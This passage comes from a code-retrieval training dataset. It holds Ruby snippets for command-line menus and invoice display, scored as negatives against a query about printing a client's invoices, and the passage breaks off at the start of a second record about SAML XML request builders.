search_submenu(entry)\n end\n end", "def repl_based_menu (collection)\n p \"one of the following commands: \"\n answer = gets.chomp.split(' ')\n case (answer[0])\n when (\"find\")\n puts find(answer[1])\n when (\"all\")\n puts collection\n when (\"qualified\")\n puts ordered_by_qualifications(qualified_candidates(@candidates))\n when (\"quit\")\n return\n else\n return\n end\nend", "def initial_login\n clear\n ascii_art\n puts '》 Welcome to the Spotify Recommendations App! 《'.colorize(:light_green)\n puts\n selection = @prompt.select(\"Are you a new or returning user? \\n\", %w[New Returning])\n new_user if selection == 'New'\n returning_user if selection == 'Returning'\n end", "def ask_menu_option\n puts 'What would you like to do?'\n puts ''\n puts '1. Start New Game'\n puts '2. Load Game From Save File'\n puts ''\n correct_input = 0\n until correct_input == 1\n print 'Enter a number: '\n option = gets.chomp\n if %w[1 2].include?(option)\n correct_input = 1\n else\n puts 'PLEASE ENTER 1 OR 2'\n end\n end\n puts \"\\n\\n\"\n option\n end", "def interface\r\n clear\r\n menu_banner\r\n puts\r\n options = [\r\n { name: 'New Game', value: -> { get_user_selection } },\r\n { name: 'Custom quiz collections', value: -> { custom_collection } },\r\n { name: 'History', value: -> { history_select } },\r\n { name: 'Exit', value: lambda {\r\n clear\r\n exit_banner\r\n exit\r\n } }\r\n ]\r\n option = @prompt.select(\"Please select from the following options.\\n\\n\", options,\r\n help: \"(Select with pressing ↑/↓ arrow keys, and then pressing Enter)\\n\\n\", show_help: :always)\r\n end", "def input_valid_client\n \n adopting_client_name = \"\" \n print(\"Enter client name: \")\n adopting_client_name = gets.chomp\n\n while @clients[adopting_client_name.to_sym].nil?\n puts(\"That client not found. Please try again.\")\n print(\"Enter client name: \")\n adopting_client_name = gets.chomp\n end\n\n return @clients[adopting_client_name.to_sym]\n end", "def character_menu\n puts \" \"\n puts \" ┌─┐┬ ┬┌─┐┬─┐┌─┐┌─┐┌┬┐┌─┐┬─┐ ┬┌┐┌┌─┐┌─┐\"\n puts \" │ ├─┤├─┤├┬┘├─┤│ │ ├┤ ├┬┘ ││││├┤ │ │\"\n puts \" └─┘┴ ┴┴ ┴┴└─┴ ┴└─┘ ┴ └─┘┴└─ ┴┘└┘└ └─┘\"\n puts \" \"\n puts \" Please select an option from below:\"\n puts \" \"\n prompt = TTY::Prompt.new\n menu_choices = [\n \" [1] Find info of character\",\n \" [2] Find allegience of character\",\n \" [3] Search characters by culture\",\n \" [4] Wiki Menu\",\n \" [5] Main Menu\",\n ]\n prompt.select(\" \", menu_choices)\nend", "def showMainMenu\r\n #clear user input field\r\n @userInput = \"\";\r\n #display main menu respond to user and wait for response\r\n @userRespone = \"Welcome To Voter Simulation! \\n\\nWhat would you like to do?\\n(C)reate, (L)ist, (U)pdate, (D)elete or (E)xit\"\r\n puts @userRespone;\r\n @userInput = gets.chomp;\r\n #call check user input after coming out of the loop\r\n checkUserInput();\r\n end", "def mainMenu\nwhile 1\n\tputs \"Choose an option.\"\n\t#user input for initial menu\n\tstartmenuinput = gets.chomp\n\t#removes empty characters/spaces/commas from the command\n\tstartmenuinput = startmenuinput.strip()\n\tstartmenuinput = startmenuinput.downcase\n\tcase startmenuinput\n\twhen 'buy'\n\tbuymenu\n\twhen 'sell'\n\tsellmenu\n\twhen 'exit'\n\t\texit\n\telse \n\t\tputs \"Something went wrong. Try again.\"\n\tend\nend\nend", "def main_menu\n\t\twhile true\n\t\t\tprint_main_menu\n\t\t\tinput = gets.chomp.to_i\n\t\t\treturn if input == 7\n\t\t\tchoose_option(input)\n\t\tend\n\tend", "def choose_game(user)\n user == \"guest\" ? username = \"guest\" : username = user.name\n entry = nil\n message = []\n until entry\n display_menu_header([\"Game Search:\"], user)\n entry = display_string_menu([\"Please type a game title: \"], message)\n message = [\"Sorry, invalid game title. Please try again...\", \"You can also type 'exit' to exit or 'main' to go back.\"]\n exit_game_reviews if entry.downcase == \"exit\"\n main_menu(user) if entry.downcase == \"main\"\n game = Game.find_by(lowercase_name: entry.downcase)\n game = Game.where([\"name like ?\", \"%#{entry.downcase}%\"]).limit(1)[0] if !game\n entry = nil if !game || entry.size < 3\n end\n display_footer([\"Found an entry for #{game.name}!\"])\n game_menu(user, game)\nend", "def select_dish \n # select a dish to show details about \n dishes = Dish.all.map{|dish|dish.name}\n # add an option to exit to the dishes list \n dishes << 'go back'\n choice = @@prompt.select(\"Choose a dish: \", dishes, cycle: true)\n if choice != 'go back' \n system 'clear'\n Dish.find_by(name: choice).print_dish\n select_dish\n else \n main_menu\n end \n end", "def get_choice\n puts \"\\nThank you for using our Solar System Explorer! Here are your options:\n (A) Add a planet to the list\n (B) View a planet\n (C) Exit the program\"\n print \"\\nPlease select a letter: \"\n choice = gets.chomp.upcase\n choice\nend", "def prompt_action \n puts \"You have six options: list users, list channels, select user, select channel, display details, send message, or quit.\"\n puts \"\\n\"\n print \"Please enter your choice: \"\n return gets.chomp.downcase\nend", "def start_menu\n system 'clear'\n puts \"WELCOME TO THE SHELTER\"\n puts \"[da] - Display all animals up for adoption\"\n puts \"[dc] - Display all clients\"\n puts \"[a] - Create a new animal\"\n puts \"[c] - Create a new client\"\n puts \"[ad] - facilitate an adoption\"\n puts \"[sad] - facilitate a return to the shelter\"\n puts \"[q] -- Exit the program\"\n p \"Please enter a command: \"\n input = gets.chomp\n input_selector input\nend" ]
[ "0.6759327", "0.6324657", "0.5992985", "0.59792423", "0.597182", "0.59325135", "0.59264416", "0.59149677", "0.58898187", "0.58865523", "0.58832717", "0.58218354", "0.5807176", "0.57887733", "0.57650787", "0.57365936", "0.57117605", "0.5711046", "0.56862634", "0.5668969", "0.56665796", "0.56611145", "0.5654156", "0.56231606", "0.5621442", "0.5619621", "0.56139505", "0.5580915", "0.5572894", "0.55641", "0.55560994", "0.55538034", "0.5552189", "0.55492127", "0.55449677", "0.5540362", "0.55370915", "0.55260533", "0.55223274", "0.5512939", "0.5489939", "0.5485128", "0.5484427", "0.5481417", "0.54753774", "0.5464628", "0.5464374", "0.54622704", "0.5461637", "0.5458479", "0.5452208", "0.5451105", "0.54471076", "0.5436586", "0.5426911", "0.5419147", "0.541617", "0.54146624", "0.54134655", "0.5413333", "0.5411498", "0.5407295", "0.5399653", "0.5399329", "0.5395339", "0.5394305", "0.53938", "0.5391462", "0.5390672", "0.5386213", "0.53837377", "0.5379865", "0.53697395", "0.5369207", "0.53667873", "0.53654414", "0.5360974", "0.5355526", "0.5351671", "0.5350378", "0.5344464", "0.5343076", "0.5337513", "0.53353596", "0.53351444", "0.53312063", "0.53288996", "0.53250134", "0.5321321", "0.5319356", "0.53110826", "0.53068644", "0.5305171", "0.5304452", "0.5303073", "0.52995086", "0.52949107", "0.52947223", "0.52940536", "0.52892476" ]
0.6830015
0
prints all invoices matching client ID
def view_invoices(id) prompt = TTY::Prompt.new(symbols: {marker: ">"}) invoices = get_invoices() invoice_match = invoices[:invoices].filter {|invoice| invoice[:clientid] == id} if invoice_match.length == 0 return "No invoices on this account ID #{id}".colorize(:yellow) else input = "" options = {} invoice_match.each_with_index {|invoice,index| options["Sent: #{invoice[:date]} to #{invoice[:email]} - $#{invoice[:total]}"] = index} options["Exit"] = "Exit" msg = "" while input != "Exit" system('clear') Debug.show(options) input = prompt.select("Total invoices: #{options.length-1}\n\n#{msg}",options) if input != "Exit" invoice = invoice_match[input] charges = "" bigtotal = 0 invoice[:charges].each do |charge| total = charge[:flatfee] + (charge[:hours] * charge[:chargeperhour]) bigtotal += total charges.concat(" #{charge[:description]} - \t\t$#{total} \n\t$#{charge[:flatfee]} fee + #{charge[:hours].to_s} hours at $#{charge[:chargeperhour].to_s} per hour.\n\n") end msg = "Invoice sent: #{invoice[:date]}\n\nTo: #{invoice[:email]}\n\n#{charges}Total: \t$#{bigtotal}\n\n" end end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def client_invoices(client_id, filter=Invoicexpress::Models::Filter.new, options={})\n raise(ArgumentError, \"filter has the wrong type\") unless filter.is_a?(Invoicexpress::Models::Filter)\n\n params = {\n :klass => Invoicexpress::Models::ClientInvoices,\n :per_page => 10,\n :page => 1,\n :body => filter\n }\n\n post(\"clients/#{client_id.to_s}/invoices.xml\", params.merge(options))\n end", "def invoice(id)\n self.invoices.detect { |i| i.id == id }\n end", "def show\n @invoices = Invoice.all\n @invoice = Invoice.find(params[:id])\n end", "def all_invoices\n @gateway.get_invoices.invoices\n end", "def print_generate_invoices_info\n puts \"\\n==============================2.TEST generateInvoices====================================\"\n end", "def index\n @invoices = User.find(current_user.id).invoices\n end", "def invoices_by_id_select\n \n end", "def print_invited_customers\n\t\t@invited_customers.each do |customer|\n\t\t\tputs \"ID:#{customer[\"user_id\"]} Name:#{customer[\"name\"]}\"\n\t\tend\n\tend", "def invoice_items\n invoice_items = engine.invoice_item_repository.parse\n invoice_items.select {|invoice_item| invoice_item.item_id == id}\n end", "def index\n @invoice_rows = @invoice.invoice_rows\n end", "def index\n @invoice_items = @invoice.invoice_items\n end", "def index\n @customer_invoices = CustomerInvoice.all\n end", "def invoices\n return Xero.get_invoices(self)\n end", "def list_invoices\n @company = Company.find(params[:company_id])\n @pagetitle = \"#{@company.name} - Invoices\"\n @filters_display = \"block\"\n \n @locations = Location.where(company_id: @company.id).order(\"name ASC\")\n @divisions = Division.where(company_id: @company.id).order(\"name ASC\")\n \n if(params[:location] and params[:location] != \"\")\n @sel_location = params[:location]\n end\n \n if(params[:division] and params[:division] != \"\")\n @sel_division = params[:division]\n end\n \n if(@company.can_view(current_user))\n\n @invoices = Factura.all.order('id DESC').paginate(:page => params[:page])\n if params[:search]\n @invoices = Factura.search(params[:search]).order('id DESC').paginate(:page => params[:page])\n else\n @invoices = Factura.all.order('id DESC').paginate(:page => params[:page]) \n end\n\n \n else\n errPerms()\n end\n end", "def invoices\n ChargeBee::Invoice.invoices_for_customer(chargebee_id).map(&:invoice)\n end", "def index\n @add_to_invoice_clients = AddToInvoiceClient.all\n end", "def sales_invoice(id)\n get \"sales_invoices/#{id}\"\n end", "def index\n @invoices = Invoice.all\n end", "def index\n @invoices = Invoice.all\n end", "def index\n @invoices = Invoice.all\n end", "def index\n @invoices = Invoice.all\n end", "def index\n @invoices = Invoice.all\n end", "def index\n @invoices = Invoice.all\n end", "def index\n @invoices = Invoice.all\n end", "def index\n @invoices = Invoice.all\n end", "def index\n @invoices = Invoice.all\n end", "def show\n\n @client = Client.find(@invoice.client_id)\n @total_items = Item.where(invoice_id: @invoice.id).sum(:total_value_sale)\n @lucro_total = Item.where(invoice_id: @invoice.id).sum(:profit_sale)\n @products = Product.order(:name)\n\n end", "def index\n @service_invoices = ServiceInvoice.all\n end", "def index\n @clients = Client.all\n @invoices = Invoice.search(params[:search])\n @Invoices = Invoice.order(:name)\n @invoices = @invoices.page(params[:page] || 1)\n @invoicelines = Invoiceline.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @clients.map(&:name) }\n @invoicelines = Invoiceline.all\n\n\n end\nend", "def invoices\n Invoice.where(email: email)\n end", "def display_all_clients\n clients.each_with_index do |client, index|\n puts \"Client ##{index + 1}. #{client.name.capitalize}\"\n end\n end", "def index\n @hours = Hour.where(user_id: current_user.id).to_a\n @clients = Client.where(user_id: current_user.id).to_a\n invoices_hid = @hours.uniq.pluck(:invoice_id)\n @invoices = Invoice.where(id: invoices_hid)\n end", "def disp_clients\n @clients.each do |client|\n puts \"Name: #{client.name}\"\n puts \"Age: #{client.age}\"\n end\n end", "def voices\n @voices.each do |name, saying|\n puts name.strip\n end\n end", "def show\n @invoice = Invoice.find(params[:id])\n end", "def get_invoice_by_id(invoice_id)\n get_invoice(invoice_id)\n end", "def list_voices(options)\n ListVoices.new(self, options).run\n end", "def index\n @order_invoices = OrderInvoice.all\n end", "def get_invoices(options = {})\n\n request_params = {}\n\n request_params[:InvoiceID] = options[:invoice_id] if options[:invoice_id]\n request_params[:InvoiceNumber] = options[:invoice_number] if options[:invoice_number]\n request_params[:order] = options[:order] if options[:order]\n request_params[:ModifiedAfter] = options[:modified_since] if options[:modified_since]\n request_params[:IDs] = Array(options[:invoice_ids]).join(\",\") if options[:invoice_ids]\n request_params[:InvoiceNumbers] = Array(options[:invoice_numbers]).join(\",\") if options[:invoice_numbers]\n request_params[:ContactIDs] = Array(options[:contact_ids]).join(\",\") if options[:contact_ids]\n request_params[:page] = options[:page] if options[:page]\n\n request_params[:where] = options[:where] if options[:where]\n\n response_xml = http_get(@client, \"#{@xero_url}/Invoices\", request_params)\n\n parse_response(response_xml, {:request_params => request_params}, {:request_signature => 'GET/Invoices'})\n end", "def find_by_id(id)\n invoices.find { |invoice| invoice.id == id }\n end", "def show\n \n respond_with(@invoice, @invoice_items)\n end", "def lines\n invoice_lines\n end", "def print_invoice\n @headerRow = InvoiceHeader.find(params[:invoice_id])\n @bodyRows = @headerRow.invoice_lines(:order => 'position')\n unless @headerRow\n set_flash('<e>No invoice found to print.')\n redirect_to(:action => 'manual_control') and return\n else\n @copiesInfo = case (params[:invoiceCopies] rescue nil) || 'R'\n when 'N' : [[\"Account File\", :alpha],[\"Numerical File\", :numerical],[\"Customer's Copy\", :customer]]\n when 'D' : [[\"Account File\", :alpha],[\"Numerical File\", :numerical],[\"Customer's Copy\", :customer],[\"Delivery Note\", :packing]]\n when 'R' : [[\"Reprint\", :customer]]\n when 'P' : [[\"Delivery Note\", :packing]]\n end\n @reportInfo = {\n :action => :print_invoice,\n :title => 'Invoice',\n :fileTag => @headerRow.invoice.to_s,\n :currentUser => {:id => '1'},\n :layout => 'pdf_invoice', # this usually is passed as param{:medium]\n :cssFile => 'ghw_invoice',\n # :cssFile => \"#{@headerRow[:format_code].downcase.strip}_invoice\"\n :company => InvoiceHeader.company_data(@headerRow.format_code)\n }\n render_html_or_redirect_to_pdf\n end\n end", "def index\n @user_invoices = UserInvoice.all\n end", "def client_list\n @clients.each do |item|\n puts \"List of clients:\"\n puts \"----------------------------------------------\"\n puts item.name\n end\n end", "def set_invoice_client\n @invoice_client = InvoiceClient.find(params[:id])\n end", "def show\n @client = Client.find(@receipt.client_id)\n end", "def fetch_by_id(invoice_id)\n response = do_http_get(\"#{url_for_resource(Quickeebooks::Online::Model::Invoice::REST_RESOURCE)}/#{invoice_id}\")\n Quickeebooks::Online::Model::Invoice.from_xml(response.body)\n end", "def print_invoice\n @invoice = Invoice.find_by_id params[:invoice_id]\n puts \"The invoce inspect: #{@invoice}\\n\"\n respond_to do |format|\n format.html # do\n # pdf = SalesInvoicePdf.new(@sales_order, view_context)\n # send_data pdf.render, filename:\n # \"#{@sales_order.printed_sales_invoice_code}.pdf\",\n # type: \"application/pdf\"\n # end\n format.pdf do\n pdf = InvoicePdf.new(@invoice, view_context,CONTINUOUS_FORM_WIDTH,FULL_CONTINUOUS_FORM_LENGTH)\n send_data pdf.render, filename:\n \"#{@invoice.printed_code}.pdf\",\n type: \"application/pdf\"\n end\n end\n end", "def print\n @client_invoice = Invoice.find(params[:id])\n @object = @client_invoice.invoiceable_type.classify.constantize.find(@client_invoice.invoiceable_id)\n @client_invoice.mailed\n @title = \"Print Group / Provider Invoice\"\n\n respond_to do |format|\n format.html\n format.json{head :no_content }\n end\n\n end", "def show\n @customer = Customer.includes(:invoices).find(params[:id].split(\",\"))\n\n render json: @customer\n end", "def invoice_list\n @list_result=ChargeBee::Invoice.invoices_for_subscription(@subscription_id,\n { :limit => 20 })\n end", "def get_invoice(company, invoice_id, options = {})\n res = self.class.get(\"/#{company}/OE/OEInvoices(#{invoice_id})\", {query: options})\n Sage300Kit::Object.new(res)\n end", "def invoices_by_id_collection(collection)\n FinderClass.match_by_data(@invoices.all, collection, :id)\n end", "def show\n @client = Client.find(params[:id])\n @contracts = Contract.where(:client_id => @client.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @client }\n end\n end", "def print_invoice_for(payment)\n @data.payment = payment\n @data.invoice = Invoice.create_for_payment(payment, Invoice::INVOICE_TYPE)\n print_common\n end", "def show\n # retrieve the invoice\n @invoice = Invoice.to_adapter.get(params.require(:id))\n # respond 404 when invoice was not found\n head(:not_found) unless @invoice\n end", "def invoice(id)\n db = database()\n data = (db.execute(\"SELECT PizzaName, Name, Price, Sum, Timestamp, InvoiceId\n FROM invoices \n INNER JOIN pizza_invoice_relation \n INNER JOIN pizzas \n INNER JOIN users ON invoices.UserId = ?\n WHERE pizza_invoice_relation.PizzaId = pizzas.Id \n AND users.Id = invoices.UserId \n AND pizza_invoice_relation.InvoiceId = invoices.Id\n ORDER BY Timestamp\n \", id))\n return occurs(data)\n end", "def invoice\n SalesEngine::Invoice.find_by_id(self.invoice_id)\n end", "def invoices_by_id_report\n @search_id = params[:invoice_num]\n @d = ActiveRecord::Base.connection.execute(\"select c.customer_id, c.name, o.order_id, o.order_date,p.description, ol.product_id, sum(ol.ordered_quantity) as quantity, p.standard_price, sum(p.standard_price*ol.ordered_quantity) as total from customers c inner join orders o on c.customer_id = o.customer_id inner join order_lines ol on ol.order_id = o.order_id inner join products p on p.product_id = ol.product_id where p.id <= 8 and o.order_id = #{@search_id} group by c.name\n\")\n end", "def invoice(options = nil)\n request = Request.new(@client)\n path = \"/products/\" + CGI.escape(@id) + \"/invoices\"\n data = {\n\n }\n\n response = Response.new(request.post(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"invoice\"]\n invoice = Invoice(self._client)\n return_values.push(invoice.fill_with_data(body))\n\n \n return_values[0]\n end", "def get(invoice_id, invoice_sequence)\n get_request(t_url(:invoice, invoice_id, invoice_sequence))\n end", "def show\r\n #@invoice = policy_scope(Invoice).find(params[:id])\r\n @invoice = Invoice.find(params[:id])\r\n\t\trespond_to do |format|\r\n\t\t\tformat.html\r\n\t\t\tformat.pdf do\r\n\t\t\t\tpdf = InvoicePdf.new(@invoice)\r\n\t\t\t\tsend_data pdf.render,\r\n\t\t\t\tfilename: \"Invoice_##{@invoice.invoicenum}_#{@invoice.customer.try(:cus_fullname)}.pdf\",\r\n\t\t\t\ttype: \"application/pdf\",\r\n\t\t\t\tdisposition: \"inline\"\r\n\t\t\tend\r\n end\r\n \r\n end", "def index\n @incominginvoices = Incominginvoice.all\n end", "def index\n @invoices = current_user.invoices.all\n flash.now[:notice] = 'U heeft nog geen facturen toegevoegd' if @invoices.empty?\n end", "def get_invoices(modified_since = nil)\n request_params = modified_since ? {:modifiedSince => modified_since.strftime(\"%Y-%m-%d\")} : {}\n \n response_xml = http_get(\"#{@xero_url}/invoices\", request_params)\n\n parse_response(response_xml, :request_params => request_params)\n end", "def fetch_invoice_data(acumen_client, order_codes)\n invoice_data = acumen_client.get_invoices(order_codes)\n\n return process_invoice_response(invoice_data)\n end", "def index\n @invoice_services = InvoiceService.all\n end", "def index\n @invoices = current_brand.invoices.where(is_template: false).order(id: :asc)\n @plan_billing = PlanBilling.find_by(user_id: current_brand.user_id)\n @contacts = current_brand.client_contacts.all\n @status = Status.all\n\n puts \"client name and email\"\n @invoices = @invoices.client_name_email(params[:client_name_email]) if params[:client_name_email].present?\n puts \"item name and description\"\n @invoices = @invoices.item_name_description(params[:item_name_desc]) if params[:item_name_desc].present?\n puts \"invoices number\"\n @invoices = @invoices.invoice_number(params[:invoice_no]) if params[:invoice_no].present?\n puts \"invoice_status\"\n @invoices = @invoices.invoice_status(params[:invoice_status_id]) if params[:invoice_status_id].present?\n\n\n @invoice_email = InvoiceEmail.new\n # puts @invoices.as_json\n end", "def index\n @invoices = @user.invoices.all\n render json: @invoices, status: :ok\n end", "def load_voices\n # TODO\n end", "def index\n\n # get the agency\n @agency = Agency.find(session[:agencyId])\n\n # get the invoices\n @invoices = @agency.agency_invoices\n\n if !params[:invoice_id].nil?\n\n # if an invoice is selected, view it\n @invoice = @invoices.select {|i| i.id == params[:invoice_id].to_i}[0]\n @details = @invoice.agency_invoice_details.paginate(:page => params[:page], :per_page => 16)\n\n end\n\n respond_to do |format|\n\n format.html\n\n format.pdf { send_data(render_pdf('PORTRAIT', { :action => 'invoice.rpdf', :layout => 'pdf_invoice' }), :filename => \"invoice.pdf\" ) }\n #format.test { render :action => 'invoice.rpdf', :layout => 'pdf_invoice.html' }\n\n end\n\n end", "def list(filters = [], page = 1, per_page = 20, sort = nil, options = {})\n fetch_collection(Quickeebooks::Online::Model::Invoice, filters, page, per_page, sort, options)\n end", "def show\n @invoice = Invoice.find(params[:id])\n @grid_itens = InvoiceItem.grid_itens @invoice.id\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @invoice }\n end\n end", "def invoice_items\n SalesEngine::InvoiceItem.find_all_by_item_id(self.id)\n end", "def show\n\n @Cliente = Client.where(bill_id: params[:id])\n @Cliente.each do |mitad|\n mitad.ISV = mitad.ISV.round(2)\n mitad.Total = mitad.Total.round(2)\n end\n# @Cliente = Client.find_by_sql(['SELECT * FROM clients WHERE bill_id = ?',:id])\n render json: @Cliente\n end", "def show\n @invoice = Invoice.find(params[:id])\n @sub_inv=@invoice.sub_invoices.order(\"endtime\")\n # @clients = Client\n # @alpha=('a'..'z').to_a + ('0'..'9').to_a\n @client= Client.find_by_id(@invoice.client_id)\n if @invoice.list==nil\n @lmax=0\n else\n @lmax=@invoice.list.length\n end\n if @invoice.total==nil\n @total=0\n else\n @total=@invoice.total\n end\n @tax_rate=@invoice.tax_rate\n if @tax_rate==nil\n @tax_rate=0\n end\n if @invoice.total_paid==nil\n @total_paid=0\n else\n @total_paid=@invoice.total_paid\n end\n @hash=Hash.new\n i=0\n while i<@lmax do\n @hash.merge!({i => @invoice.list[i]})\n i=i+1\n end\n if @lmax==0\n @hash={0=>[\"\", \"\", \"\", \"\"]}\n end\n if @total == 0\n @pourc_paid=0\n else\n @pourc_paid=(100 * @total_paid.to_d / (@total.to_d*(1+@tax_rate.to_d))).to_i \n end\n end", "def invoice\n @invoice ||= Invoice.find(params[:id])\n end", "def url\n '/api/invoices'\n end", "def index\n if params[:project_id].nil?\n @invoices = Invoice.all\n else\n @project=Project.find(params[:project_id])\n @invoices=@project.invoices\n end\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invoices }\n end\n end", "def print_inovice\n\tputs \"\\n----------------------------------\"\n\tputs \"| Item | Quantity | Total Price |\"\n\tputs \"----------------------------------\"\n\tsingletn_example.items_per_invoice.each do |item, quantity|\n\t\tputs \"| #{item} | #{quantity} | #{singletn_example.calculate_total_price(item, quantity)} |\"\n\t\tend\n\tputs \"----------------------------------\"\n\tputs \"\\nYou bought #{singletn_example.items_to_buy} items, and the total price is #{singletn_example.total_price}\"\nend", "def invoices\r\n @invoices ||= InvoicesController.new(configuration: @configuration)\r\n end", "def credit_invoice\n credit_invoices.order(:date, :id).first\n end", "def invoice\n @ipn['invoice']\n end", "def index\n respond_with(invoices)\n end", "def show\n @contract = Contract.all.find(params[:id])\n @orders = @contract.orders\n @contract_amount = 0\n @orders.each do |order|\n @contract_amount += order.unit_price*order.unit_count\n end\n @vendors = Vendor.all\n @client = Client.all.find(@contract.client_id)\n @invoice = @contract.invoices\n @note = Note.new\n @notes = @contract.notes\n @file = @contract.file\n end", "def set_invoice\n @invoice = Invoice.where(:invoice_id => params[:id])\n # @invoice = Invoice.find(params[:id])\n end", "def index\n @invoices = Invoice.where( :user_id => current_user.id).all\n if current_user.role? :admin \n @invoices = Invoice.all\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invoices }\n end\n end", "def show\n @user = current_user\n\n @invoiceline = Invoiceline.new\n @invoices = Invoice.all\n @invoicelines = Invoiceline.all\n @sum = self.compute_invoice(@invoice)\n\n end", "def show\n @breadcrumb = 'read'\n @supplier_invoice = SupplierInvoice.find(params[:id])\n @items = @supplier_invoice.supplier_invoice_items.paginate(:page => params[:page], :per_page => per_page).order('id')\n @approvals = @supplier_invoice.supplier_invoice_approvals.paginate(:page => params[:page], :per_page => per_page).order('id')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @supplier_invoice }\n end\n end", "def print\n @inv = PurchaseOrder.where(\"invoice_number='#{@inv.invoice_number}' AND is_history IS FALSE\").last\n if @inv.can_print_inv?\n @inv.print_invoice_date = Time.now\n if @inv.print_inv\n PurchaseOrder.send_notifications(@inv)\n render :pdf => \"#{@inv.invoice_number}\",\n :disposition => 'inline',\n :layout=> 'layouts/invoice.pdf.erb',\n :template => 'order_to_payments/invoices/inv_template.pdf.erb',\n :page_size => 'A4',\n :lowquality => false\n else\n something_wrong\n end\n else\n forbidden\n end\n end", "def view_invoice\n\t\ttransaction = Transaction.find(params[:id])\n\n\t\tif admin_signed_in? || (user_signed_in? && current_user.id == transaction.user_id)\n\t\t\tsend_data transaction.invoice, filename: \"Invoice \\##{transaction.id} - #{transaction.created_at.strftime('%d/%M/%Y')}\", :type => \"application/pdf\", :disposition => \"inline\"\n\t\telse\n\t\t\tredirect_to '/'\n\t\tend\n\tend", "def index\n if current_user&.admin?\n @invoices = Invoice.page(params[:page]).order('id DESC')\n elsif current_user\n @invoices = current_user.invoices.page(params[:page]).order('id DESC')\n else\n redirect_to login_path\n end\n end", "def test_that_it_can_return_all_instances_of_item_by_invoice_id\n engine = SalesEngine.new(\"./data\")\n engine.startup\n assert_equal [539, 528, 523, 535, 529, 541, 530, 534], engine.find_all_items_by_invoice_id(1).map{|item| item.id}\n end", "def invoice\n\tparams['invoice']\n end", "def index\n @invoices = current_organization.invoices.paginate(:all, :order => 'number DESC', :page => params[:page])\n end", "def invoices\n @invoices ||= new_resource(self, :invoice, :invoices)\n end", "def invoiced_orders\n return [] if !is_client?\n client.orders\n end", "def clients\n @clients = Vendor.find(params[:id]).clients\n end", "def index\n @current_customer = sticky_param(:customer_id)\n @current_status = sticky_param(:status)\n if params[:search].present?\n @invoices = Invoice.quick_find(params[:search])\n else\n @invoices = Invoice.paginate_with_filters({\n :customer_id => @current_customer,\n :status => @current_status\n }, {:page => params[:page], :order=>'date desc,number'})\n end\n respond_to do |format|\n format.html {\n @customers = Customer.find_invoiced\n }\n format.xml { render :xml => @invoices.to_xml }\n end\n end" ]
[ "0.7460041", "0.69941694", "0.69087714", "0.68493855", "0.6661306", "0.66494256", "0.6632401", "0.6574041", "0.6473098", "0.6442673", "0.6439469", "0.6430153", "0.6423314", "0.6418882", "0.64145905", "0.63945657", "0.63620704", "0.6357455", "0.6357455", "0.6357455", "0.6357455", "0.6357455", "0.6357455", "0.6357455", "0.6357455", "0.6357455", "0.63410693", "0.6336434", "0.63335973", "0.6325592", "0.6321903", "0.6321003", "0.6311571", "0.63032085", "0.6302995", "0.62720495", "0.62449765", "0.6242284", "0.62409425", "0.6219512", "0.62175363", "0.62116766", "0.62092775", "0.62068313", "0.62011385", "0.6194226", "0.6176803", "0.6167569", "0.6165327", "0.61592406", "0.6159161", "0.6152507", "0.61516845", "0.61457545", "0.6135329", "0.6127793", "0.61189157", "0.6103006", "0.60547626", "0.60469615", "0.6046096", "0.6024578", "0.60212773", "0.6020747", "0.6010548", "0.5997761", "0.5996396", "0.59953654", "0.59877664", "0.5981192", "0.598001", "0.5973825", "0.59736216", "0.5954909", "0.59538686", "0.59463996", "0.5933291", "0.5925458", "0.5908763", "0.58875495", "0.58849", "0.5877349", "0.5874235", "0.5871182", "0.58561367", "0.5851973", "0.5848814", "0.5839113", "0.58341897", "0.5832258", "0.58308166", "0.58300835", "0.5829142", "0.5827027", "0.58172107", "0.58166945", "0.5807108", "0.57959825", "0.579197", "0.57886344" ]
0.6563154
8
Construct an XML fragment representing the assertion id request
def to_xml(xml=Builder::XmlMarkup.new) xml.tag!('samlp:AssertionIDRequest') { assertion_id_refs.each { |assertion_id_ref| xml << assertion_id_ref.to_xml } } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {'ID' => id, 'Version' => version, 'IssueInstant' => issue_instant.in_time_zone.xmlschema}\n attributes['InResponseTo'] = in_response_to unless in_response_to.nil?\n attributes['Destination'] = destination unless destination.nil?\n attributes['Consent'] = consent unless consent.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:Response', attributes) {\n xml << issuer.to_xml unless issuer.nil?\n xml << signature.to_xml unless signature.nil?\n # TODO: add extensions support\n xml << status.to_xml unless status.nil?\n assertions.each { |assertion| xml << assertion.to_xml }\n encrypted_assertions.each { |encrypted_assertion| xml << encrypted_assertion.to_xml }\n }\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\treturn \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\tend", "def build_tracking_xml_request\n xml = \"\"\n\n builder = ::Builder::XmlMarkup.new :target => xml \n builder.TrackRequest :USERID => config.user_id do |t|\n t.TrackID :ID => package_id\n end\n\n xml\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['ForceAuthn'] = force_authn unless force_authn.nil?\n attributes['IsPassive'] = is_passive unless is_passive.nil?\n # TODO implement assertion consumer service index\n # TODO implement assertion consumer service URL\n attributes['ProtocolBinding'] = protocol_binding unless protocol_binding.nil?\n attributes['AttributeConsumingServiceURL'] = attribute_consuming_service_url unless 